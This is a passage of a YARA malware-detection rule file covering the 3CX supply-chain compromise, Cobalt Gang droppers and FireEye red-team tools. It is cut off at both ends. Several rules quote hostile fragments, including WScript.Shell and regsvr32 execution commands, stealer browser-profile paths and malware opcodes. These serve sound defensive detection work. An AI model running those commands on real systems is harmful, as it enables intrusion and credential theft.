		hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
		hash2 = "59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983"
		hash3 = "aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868"
		hash4 = "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"
		id = "18ea2185-11a1-51ad-a51a-df9e6357bb58"

	strings:
		$x1 = "3jB(2bsG#@c7"

	condition:
		( uint16( 0 ) == 0xcfd0 or uint16( 0 ) == 0x5a4d ) and $x1
}

import "pe"

rule SUSP_3CX_App_Signed_Binary_Mar23_1
{
	meta:
		description = "Detects 3CX application binaries signed with a certificate and created in a time frame in which other known malicious binaries have been created"
		author = "Florian Roth (Nextron Systems)"
		date = "2023-03-29"
		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
		score = 65
		hash1 = "fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405"
		hash2 = "dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc"
		id = "b6ce4c1d-1b7b-5e0c-af4c-05cb3ad0a4e0"

	strings:
		$sa1 = "3CX Ltd1"
		$sa2 = "3CX Desktop App" wide
		$sc1 = { 1B 66 11 DF 9C 9A 4D 6E CC 8E D5 0C 9B 91 78 73 }

	condition:
		uint16( 0 ) == 0x5a4d and pe.timestamp > 1669680000 and pe.timestamp < 1680108505 and all of ( $sa* ) and $sc1
}

rule SUSP_3CX_MSI_Signed_Binary_Mar23_1
{
	meta:
		description = "Detects 3CX MSI installers signed with a known compromised certificate and signed in a time frame in which other known malicious binaries have been signed"
		author = "Florian Roth (Nextron Systems)"
		date = "2023-03-29"
		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
		score = 60
		hash1 = "aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868"
		hash2 = "59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983"
		id = "15d6d8ca-6982-5095-9879-ce97269a71c6"

	strings:
		$a1 = { 84 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46 }
		$sc1 = { 1B 66 11 DF 9C 9A 4D 6E CC 8E D5 0C 9B 91 78 73 }
		$s1 = "3CX Ltd1"
		$s2 = "202303"

	condition:
		uint16( 0 ) == 0xcfd0 and $a1 and $sc1 and ( $s1 in ( filesize - 20000 .. filesize ) and $s2 in ( filesize - 20000 .. filesize ) )
}

rule APT_MAL_macOS_NK_3CX_Malicious_Samples_Mar23_1
{
	meta:
		description = "Detects malicious macOS application related to 3CX compromise (decrypted payload)"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
		date = "2023-03-30"
		score = 80
		hash1 = "b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb"
		hash2 = "ac99602999bf9823f221372378f95baa4fc68929bac3a10e8d9a107ec8074eca"
		hash3 = "51079c7e549cbad25429ff98b6d6ca02dc9234e466dd9b75a5e05b9d7b95af72"
		id = "ff39e577-7063-5025-bead-68394a86c87c"

	strings:
		$s1 = "20230313064152Z0"
		$s2 = "Developer ID Application: 3CX (33CF4654HL)"

	condition:
		( uint16( 0 ) == 0xfeca or uint16( 0 ) == 0xfacf or uint32( 0 ) == 0xbebafeca ) and all of them
}

rule APT_MAL_MacOS_NK_3CX_DYLIB_Mar23_1
{
	meta:
		description = "Detects malicious DYLIB files related to 3CX compromise"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/"
		date = "2023-03-30"
		score = 80
		hash1 = "a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67"
		hash2 = "fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7"
		id = "a19904d3-9b2d-561f-b734-20bf09584fa7"

	strings:
		$xc1 = { 37 15 00 13 16 16 1B 55 4F 54 4A 5A 52 2D 13 14
               1E 15 0D 09 5A 34 2E 5A 4B 4A 54 4A 41 5A 2D 13
               14 4C 4E 41 5A 02 4C 4E 53 5A 3B 0A 0A 16 1F 2D
               1F 18 31 13 0E 55 4F 49 4D 54 49 4C 5A 52 31 32
               2E 37 36 56 5A 16 13 11 1F 5A 3D 1F 19 11 15 53
               5A 39 12 08 15 17 1F 55 4B 4A 42 54 4A 54 4F 49
               4F 43 54 4B 48 42 5A 29 1B 1C 1B 08 13 55 4F 49
               4D 54 49 4C 7A }
		$xc2 = { 41 49 19 02 25 1b 0f 0e 12 25 0e 15 11 1f 14 25 19 15 14 0e 1f 14 0e 47 5f 09 41 25 25 0e 0f 0e 17 1b 47 }
		$xc3 = { 55 29 03 09 0e 1f 17 55 36 13 18 08 1b 08 03 55 39 15 08 1f 29 1f 08 0c 13 19 1f 09 55 29 03 09 0e 1f 17 2c 1f 08 09 13 15 14 54 0a 16 13 09 0e }

	condition:
		1 of them
}

rule APT_SUSP_NK_3CX_Malicious_Samples_Mar23_1
{
	meta:
		description = "Detects indicator (event name) found in samples related to 3CX compromise"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/"
		date = "2023-03-30"
		score = 70
		hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
		hash2 = "59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983"
		hash3 = "aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868"
		hash4 = "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"
		id = "b233846a-19df-579b-a674-233d66824008"

	strings:
		$a1 = "AVMonitorRefreshEvent" wide fullword

	condition:
		1 of them
}

rule APT_MAL_NK_3CX_Malicious_Samples_Mar23_4
{
	meta:
		author = "MalGamy (Nextron Systems)"
		reference = "https://twitter.com/WhichbufferArda/status/1641404343323688964?s=20"
		description = "Detects decrypted payload loaded inside 3CXDesktopApp.exe which downloads info stealer"
		date = "2023-03-29"
		hash = "851c2c99ebafd4e5e9e140cfe3f2d03533846ca16f8151ae8ee0e83c692884b7"
		score = 80
		id = "d11170df-570c-510c-80ec-39048acd0fbd"

	strings:
		$op1 = {41 69 D0 [4] 8B C8 C1 E9 ?? 33 C1 8B C8 C1 E1 ?? 81 C2 [4] 33 C1 43 8D 0C 02 02 C8 49 C1 EA ?? 41 88 0B 8B C8 C1 E1 ?? 33 C1 44 69 C2 [4] 8B C8 C1 E9 ?? 33 C1 8B C8 C1 E1 ?? 41 81 C0 [4] 33 C1 4C 0F AF CF 4D 03 CA 45 8B D1 4C 0F AF D7 41 8D 0C 11 49 C1 E9 ?? 02 C8}
		$op2 = {4D 0F AF CC 44 69 C2 [4] 4C 03 C9 45 8B D1 4D 0F AF D4 41 8D 0C 11 41 81 C0 [4] 02 C8 49 C1 E9 ?? 41 88 4B ?? 4D 03 D1 8B C8 45 8B CA C1 E1 ?? 33 C1}
		$op3 = {33 C1 4C 0F AF C7 8B C8 C1 E1 ?? 4D 03 C2 33 C1}

	condition:
		2 of them
}

rule MAL_3CXDesktopApp_MacOS_Backdoor_Mar23
{
	meta:
		author = "X__Junior (Nextron Systems)"
		reference = "https://www.volexity.com/blog/2023/03/30/3cx-supply-chain-compromise-leads-to-iconic-incident/"
		description = "Detects 3CXDesktopApp MacOS Backdoor component"
		date = "2023-03-30"
		hash = "a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67"
		score = 80
		id = "80046c8e-0c2a-5885-b140-a6084f48160d"

	strings:
		$sa1 = "%s/.main_storage" ascii fullword
		$sa2 = "%s/UpdateAgent" ascii fullword
		$op1 = { 31 C0 41 80 34 06 ?? 48 FF C0 48 83 F8 ?? 75 ?? BE ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 F7 48 89 D9 E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 F7 5B 41 5E 41 5F E9 ?? ?? ?? ?? 5B 41 5E 41 5F C3}
		$op2 = { 0F 11 84 24 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 31 C0 80 B4 04 ?? ?? ?? ?? ?? 48 FF C0}

	condition:
		(( uint16( 0 ) == 0xfeca or uint16( 0 ) == 0xfacf or uint32( 0 ) == 0xbebafeca ) and filesize < 6MB and ( ( 1 of ( $sa* ) and 1 of ( $op* ) ) or all of ( $sa* ) ) ) or ( all of ( $op* ) )
}

rule APT_MAL_NK_3CX_ICONIC_Stealer_Mar23_1
{
	meta:
		description = "Detects ICONIC stealer payload used in the 3CX incident"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/volexity/threat-intel/blob/main/2023/2023-03-30%203CX/attachments/iconicstealer.7z"
		date = "2023-03-31"
		score = 80
		hash1 = "8ab3a5eaaf8c296080fadf56b265194681d7da5da7c02562953a4cb60e147423"
		id = "e92b5b90-1146-5235-9711-a4d42689c49b"

	strings:
		$s1 = "{\"HostName\": \"%s\", \"DomainName\": \"%s\", \"OsVersion\": \"%d.%d.%d\"}" wide fullword
		$s2 = "******************************** %s ******************************" wide fullword
		$s3 = "AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data" wide fullword
		$s4 = "AppData\\Roaming\\Mozilla\\Firefox\\Profiles" wide fullword
		$s5 = "SELECT url, title FROM urls ORDER BY id DESC LIMIT 500" wide fullword
		$s6 = "TEXT value in %s.%s" ascii fullword
		$op1 = { 48 63 d1 48 63 ce 49 03 d1 49 03 cd 4c 63 c7 e8 87 1f 09 00 8b 45 d0 44 8d 04 37 }
		$op2 = { 48 8b c8 8b 56 f0 48 89 46 d8 e8 78 8f f8 ff e9 ec 13 00 00 c7 46 20 ff ff ff ff e9 e0 13 00 00 33 ff }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 4000KB and 4 of them or 6 of them
}

rule APT_MAL_NK_3CX_macOS_Elextron_App_Mar23_1
{
	meta:
		description = "Detects macOS malware used in the 3CX incident"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2023-03-31"
		score = 80
		hash1 = "51079c7e549cbad25429ff98b6d6ca02dc9234e466dd9b75a5e05b9d7b95af72"
		hash2 = "f7ba7f9bf608128894196cf7314f68b78d2a6df10718c8e0cd64dbe3b86bc730"
		id = "7a3755d4-37e5-5d3b-93aa-34edb557f2d5"

	strings:
		$a1 = "com.apple.security.cs.allow-unsigned-executable-memory" ascii
		$a2 = "com.electron.3cx-desktop-app" ascii fullword
		$s1 = "s8T/RXMlALbXfowom9qk15FgtdI=" ascii
		$s2 = "o8NQKPJE6voVZUIGtXihq7lp0cY=" ascii

	condition:
		uint16( 0 ) == 0xfacf and filesize < 400KB and ( all of ( $a* ) and 1 of ( $s* ) )
}

rule MAL_3CXDesktopApp_MacOS_UpdateAgent_Mar23
{
	meta:
		description = "Detects 3CXDesktopApp MacOS UpdateAgent backdoor component"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/patrickwardle/status/1641692164303515653?s=20"
		date = "2023-03-30"
		hash = "9e9a5f8d86356796162cee881c843cde9eaedfb3"
		score = 80
		id = "596eb6d0-f96f-5106-ae67-9372d238e4cf"

	strings:
		$a1 = "/3CX Desktop App/.main_storage" ascii
		$x1 = ";3cx_auth_token_content=%s;__tutma=true"
		$s1 = "\"url\": \"https://"
		$s3 = "/dev/null"
		$s4 = "\"AccountName\": \""

	condition:
		uint16( 0 ) == 0xfeca and filesize < 6MB and ( 1 of ( $x* ) or ( $a1 and all of ( $s* ) ) ) or all of them
}

rule APT_MAL_VEILEDSIGNAL_Backdoor_Apr23_2
{
	meta:
		description = "Detects malicious VEILEDSIGNAL backdoor"
		author = "X__Junior"
		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/xtrader-3cx-supply-chain"
		date = "2023-04-29"
		hash = "c4887a5cd6d98e273ba6e9ea3c1d8f770ef26239819ea24a1bfebd81d6870505"
		score = 80
		id = "ff1fa0bd-19b7-553a-9506-bc5aa5d29056"

	strings:
		$sa1 = "\\.\\pipe\\gecko.nativeMessaging" ascii
		$sa2 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40" ascii
		$sa3 = "application/json, text/javascript, */*; q=0.01" ascii
		$op1 = { 89 7? 24 ?? 44 8B CD 4C 8B C? 48 89 44 24 ?? 33 D2 33 C9 FF 15}
		$op2 = { 4C 8B CB 4C 89 74 24 ?? 4C 8D 05 ?? ?? ?? ?? 44 89 74 24 ?? 33 D2 33 C9 FF 15}
		$op3 = { 48 89 74 24 ?? 45 33 C0 89 74 24 ?? 41 B9 ?? ?? ?? ?? 89 74 24 ?? 48 8B D8 48 C7 00 ?? ?? ?? ?? 48 8B 0F 41 8D 50 ?? 48 89 44 24 ?? 89 74 24 ?? FF 15}

	condition:
		all of ( $op* ) or all of ( $sa* )
}

rule APT_MAL_VEILEDSIGNAL_Backdoor_Apr23_3
{
	meta:
		description = "Detects malicious VEILEDSIGNAL backdoor"
		author = "X__Junior"
		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/xtrader-3cx-supply-chain"
		date = "2023-04-29"
		hash = "595392959b609caf088d027a23443cf2fefd043607ccdec3de19ad3bb43a74b1"
		score = 80
		id = "6b6f984e-242a-5b84-baa9-6311992cde9b"

	strings:
		$op1 = { 4C 8B CB 4C 89 74 24 ?? 4C 8D 05 ?? ?? ?? ?? 44 89 74 24 ?? 33 D2 33 C9 FF 15}
		$op2 = { 89 7? 24 ?? 44 8B CD 4C 8B C? 48 89 44 24 ?? 33 D2 33 C9 FF 15}
		$op3 = { 8B 54 24 ?? 4C 8D 4C 24 ?? 45 8D 46 ?? 44 89 74 24 ?? 48 8B CB FF 15}
		$op4 = { 48 8D 44 24 ?? 45 33 C9 41 B8 01 00 00 40 48 89 44 24 ?? 41 8B D5 48 8B CF FF 15}

	condition:
		all of them
}

rule APT_MAL_VEILEDSIGNAL_Backdoor_Apr23_4
{
	meta:
		description = "Detects malicious VEILEDSIGNAL backdoor"
		author = "X__Junior"
		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/xtrader-3cx-supply-chain"
		date = "2023-04-29"
		hash = "9b0761f81afb102bb784b398b16faa965594e469a7fcfdfd553ced19cc17e70b"
		score = 80
		id = "77340ec0-36bb-5c47-995f-4e6f76b68fe1"

	strings:
		$op1 = { 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 }
		$op2 = { 48 8B C8 48 8D 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 45 33 C0 4C 8D 4D ?? B2 01 41 8D 48 ?? FF D0}
		$op3 = { 33 FF C7 44 24 ?? 38 02 00 00 33 D2 8D 4F ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 FF 74 ?? 48 8D 54 24 ?? 48 8B C8 FF 15 }
		$op4 = { 4C 8D 05 ?? ?? ?? ?? 48 89 4C 24 ?? 4C 8B C8 33 D2 89 4C 24 ?? FF 15 }

	condition:
		all of them
}

rule CobaltStrike_CN_Group_BeaconDropper_Aug17
{
	meta:
		description = "Detects Script Dropper of Cobalt Gang used in August 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-08-09"
		hash1 = "fc0fad39b461eb1cfc6be57932993fcea94fca650564271d1b74dd850c81602f"
		hash2 = "1c845bb0f6b9a96404af97dcafdc77f1629246e840c01dd9f1580a341f554926"
		hash3 = "6206e372870ea4f363be53557477f9748f1896831a0cdef3b8450a7fb65b86e1"
		id = "5631b0bc-9e25-524a-9003-73779fd492f7"

	strings:
		$x1 = "WriteLine(\"(new ActiveXObject('WScript.Shell')).Run('cmd /c c:/" ascii
		$x2 = "WriteLine(\" (new ActiveXObject('WScript.Shell')).Run('regsvr32 /s" ascii
		$x3 = "sh.Run(env('cmd /c set > %temp%" ascii
		$x4 = "sh.Run('regsvr32 /s /u /i:" ascii
		$x5 = ".Get('Win32_ScheduledJob').Create('regsvr32 /s /u /i:" ascii
		$x6 = "scrobj.dll','********" ascii
		$x7 = "www.thyssenkrupp-marinesystems.org" fullword ascii
		$x8 = "f.WriteLine(\" tLnk=env('%tmp%/'+lnkName+'.lnk');\");" fullword ascii
		$x9 = "lnkName='office 365'; " fullword ascii
		$x10 = ";sh=x('WScript.Shell');" ascii

	condition:
		( filesize < 200KB and 1 of them )
}

rule CobaltGang_Malware_Aug17_1
{
	meta:
		description = "Detects a Cobalt Gang malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://sslbl.abuse.ch/intel/6ece5ece4192683d2d84e25b0ba7e04f9cb7eb7c"
		date = "2017-08-09"
		hash1 = "6d70673b723f338b3febc9f1d69463bdd4775539cb92b5a5d8fccc0d977fa2f0"
		id = "56c6f4f8-ccf5-5665-ac21-67f0a9b67cf1"

	strings:
		$s1 = "ServerSocket.EXE" fullword wide
		$s2 = "Incorrect version of WS2_32.dll found" fullword ascii
		$s3 = "Click 'Connect' to Connect to the Server.  'Disconnect' to disconnect from server." fullword wide
		$s4 = "Click 'Start' to start the Server.  'Stop' to Stop it." fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and 3 of them )
}

rule CobaltGang_Malware_Aug17_2
{
	meta:
		description = "Detects a Cobalt Gang malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://sslbl.abuse.ch/intel/6ece5ece4192683d2d84e25b0ba7e04f9cb7eb7c"
		date = "2017-08-09"
		hash1 = "80791d5e76782cc3cd14f37f351e33b860818784192ab5b650f1cdf4f131cf72"
		id = "2839c119-0fa4-51f0-a406-5d381cc594a2"

	strings:
		$s1 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENGB)" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 80KB and all of them )
}

import "pe"

rule MAL_CRIME_CobaltGang_Malware_Oct19_1
{
	meta:
		description = "Detects CobaltGang malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/vxsh4d0w/status/1187353649015611392"
		date = "2019-10-24"
		hash1 = "72125933265f884ceb8ab64ab303ea76aaeb7877faee8976d398acd0d0b7356b"
		hash2 = "893339624602c7b3a6f481aed9509b53e4e995d6771c72d726ba5a6b319608a7"
		hash3 = "3c34bbf641df25f9accd05b27b9058e25554fdfea0e879f5ca21ffa460ad2b01"
		id = "95c16016-b09b-56f3-b5a4-fca18ac70ad5"

	strings:
		$op_a1 = { 0f 44 c2 eb 0a 31 c0 80 fa 20 0f 94 c0 01 c0 5d }
		$op_b1 = { 89 e5 53 8b 55 08 8b 4d 0c 8a 1c 01 88 1c 02 83 }
		$op_b2 = { 89 e5 53 8b 55 08 8b 45 0c 8a 1c 0a 88 1c 08 83 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 2000KB and ( pe.imphash ( ) == "d1e3f8d02cce09520379e5c1e72f862f" or pe.imphash ( ) == "8e26df99c70f79cb8b1ea2ef6f8e52ac" or ( $op_a1 and 1 of ( $op_b* ) ) )
}

rule KR_Target_Malware_Aug17
{
	meta:
		description = "Detects malware that targeted South Korea in Aug 2017 - file MRDqsbuEqGxrgqtbXU.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/eyalsela/status/900250203097354240"
		date = "2017-08-23"
		hash1 = "82cada01643a42c8cd9600b8c33f3760d15e5eb6fabec2d531cf13cece095c78"
		id = "2a6a7921-953a-502c-9702-b27325b2c3b8"

	strings:
		$x1 = { 53 00 75 00 63 00 63 00 65 00 00 2F 53 00 6F 00
               6D 00 65 00 74 00 68 00 69 00 6E 00 67 00 20 00
               77 00 65 00 6E 00 74 00 20 00 77 00 72 00 6F 00
               6E 00 67 00 }
		$x2 = "lnVMODvjSfOQQnfiuFogghlL" fullword ascii
		$x3 = "E X I T  +R U N A S  /a P P d A T A " fullword ascii
		$x4 = "uSEsHELLeXECUTE gETeNTRYaSSEMBLY GET" fullword ascii
		$x5 = "ZahUKBXz" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 800KB and 1 of them )
}

rule HackTool_MSIL_Rubeus_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public Rubeus project."
		md5 = "66e0681a500c726ed52e5ea9423d2654"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "0ca140ea-2b9f-5904-a4c0-8615229626f0"

	strings:
		$typelibguid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii nocase wide

	condition:
		uint16( 0 ) == 0x5A4D and $typelibguid
}

rule Trojan_Raw_Generic_4
{
	meta:
		date = "2020-12-02"
		modified = "2020-12-02"
		md5 = "f41074be5b423afb02a74bc74222e35d"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "9092f9bb-cab6-55c0-9452-70a6407db93a"

	strings:
		$s0 = { 83 ?? 02 [1-16] 40 [1-16] F3 A4 [1-16] 40 [1-16] E8 [4-32] FF ( D? | 5? | 1? ) }
		$s1 = { 0F B? [1-16] 4D 5A [1-32] 3C [16-64] 50 45 [8-32] C3 }

	condition:
		uint16( 0 ) != 0x5A4D and all of them
}

rule HackTool_Win32_AndrewSpecial_1
{
	meta:
		date = "2020-11-25"
		modified = "2020-11-25"
		md5 = "e89efa88e3fda86be48c0cc8f2ef7230"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "69e27e92-d68e-5543-bada-170e32733dbb"

	strings:
		$dump = { 6A 00 68 FF FF 1F 00 FF 15 [4] 89 45 ?? 83 [2] 00 [1-50] 6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 10 68 [4] FF 15 [4] 89 45 [10-70] 6A 00 6A 00 6A 00 6A 02 8B [2-4] 5? 8B [2-4] 5? 8B [2-4] 5? E8 [4-20] FF 15 }
		$shellcode_x86 = { B8 3C 00 00 00 33 C9 8D 54 24 04 64 FF 15 C0 00 00 00 83 C4 04 C2 14 00 }
		$shellcode_x86_inline = { C6 45 ?? B8 C6 45 ?? 3C C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 33 C6 45 ?? C9 C6 45 ?? 8D C6 45 ?? 54 C6 45 ?? 24 C6 45 ?? 04 C6 45 ?? 64 C6 45 ?? FF C6 45 ?? 15 C6 45 ?? C0 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 83 C6 45 ?? C4 C6 45 ?? 04 C6 45 ?? C2 C6 45 ?? 14 C6 45 ?? 00 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and $dump and any of ( $shellcode* )
}

rule APT_Backdoor_Win_GORAT_3
{
	meta:
		description = "This rule uses the same logic as FE_APT_Trojan_Win_GORAT_1_FEBeta with the addition of one check, to look for strings that are known to be in the Gorat implant when a certain cleaning script is not run against it."
		md5 = "995120b35db9d2f36d7d0ae0bfc9c10d"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "94c195b5-b8e8-56a7-bc11-dbbe2f969b06"

	strings:
		$dirty1 = "fireeye" ascii nocase wide
		$dirty2 = "kulinacs" ascii nocase wide
		$dirty3 = "RedFlare" ascii nocase wide
		$dirty4 = "gorat" ascii nocase wide
		$dirty5 = "flare" ascii nocase wide
		$go1 = "go.buildid" ascii wide
		$go2 = "Go build ID:" ascii wide
		$json1 = "json:\"pid\"" ascii wide
		$json2 = "json:\"key\"" ascii wide
		$json3 = "json:\"agent_time\"" ascii wide
		$json4 = "json:\"rid\"" ascii wide
		$json5 = "json:\"ports\"" ascii wide
		$json6 = "json:\"agent_platform\"" ascii wide
		$rat = "rat" ascii wide
		$str1 = "handleCommand" ascii wide
		$str2 = "sendBeacon" ascii wide
		$str3 = "rat.AgentVersion" ascii wide
		$str4 = "rat.Core" ascii wide
		$str5 = "rat/log" ascii wide
		$str6 = "rat/comms" ascii wide
		$str7 = "rat/modules" ascii wide
		$str8 = "murica" ascii wide
		$str9 = "master secret" ascii wide
		$str10 = "TaskID" ascii wide
		$str11 = "rat.New" ascii wide

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 10MB and all of ( $go* ) and all of ( $json* ) and all of ( $str* ) and #rat > 1000 and any of ( $dirty* )
}

rule CredTheft_Win_EXCAVATOR_1
{
	meta:
		description = "This rule looks for the binary signature of the 'Inject' method found in the main Excavator PE."
		md5 = "f7d9961463b5110a3d70ee2e97842ed3"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "7cabc230-e55b-5096-996a-b6a8c9693bdc"

	strings:
		$bytes1 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 20 01 00 00 48 8B 05 75 BF 01 00 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 8D 0D 12 A1 01 00 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 00 FF 15 CB 1F 01 00 48 85 C0 75 1B FF 15 80 1F 01 00 8B D0 48 8D 0D DF A0 01 00 E8 1A FF FF FF 33 C0 E9 B4 02 00 00 48 8D 15 D4 A0 01 00 48 89 9C 24 30 01 00 00 48 8B C8 FF 15 4B 1F 01 00 48 8B D8 48 85 C0 75 19 FF 15 45 1F 01 00 8B D0 48 8D 0D A4 A0 01 00 E8 DF FE FF FF E9 71 02 00 00 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 45 66 66 0F 1F 84 00 00 00 00 00 48 8B 4C 24 60 FF 15 4D 1F 01 00 3B C6 74 22 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 D1 EB 0A 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A0 01 00 48 8D 05 A6 C8 01 00 B9 C8 05 00 00 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 B2 FF 15 CC 1E 01 00 4C 8D 44 24 78 BA 0A 00 00 00 48 8B C8 FF 15 01 1E 01 00 85 C0 0F 84 66 01 00 00 48 8B 4C 24 78 48 8D 45 80 41 B9 02 00 00 00 48 89 44 24 28 45 33 C0 C7 44 24 20 02 00 00 00 41 8D 51 09 FF 15 D8 1D 01 00 85 C0 0F 84 35 01 00 00 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 50 01 FF 15 5C 1E 01 00 FF 15 06 1E 01 00 4C 8B 44 24 68 33 D2 48 8B C8 FF 15 DE 1D 01 00 48 8B F8 48 85 C0 0F 84 FF 00 00 00 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 50 01 FF 15 25 1E 01 00 85 C0 0F 84 E2 00 00 00 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 B8 00 00 02 00 48 C7 44 24 20 08 00 00 00 48 8B CF FF 15 6C 1D 01 00 85 C0 0F 84 B1 00 00 00 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C 8D 05 58 39 03 00 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 44 24 30 04 00 08 00 44 89 74 24 28 4C 89 74 24 20 FF 15 0C 1D 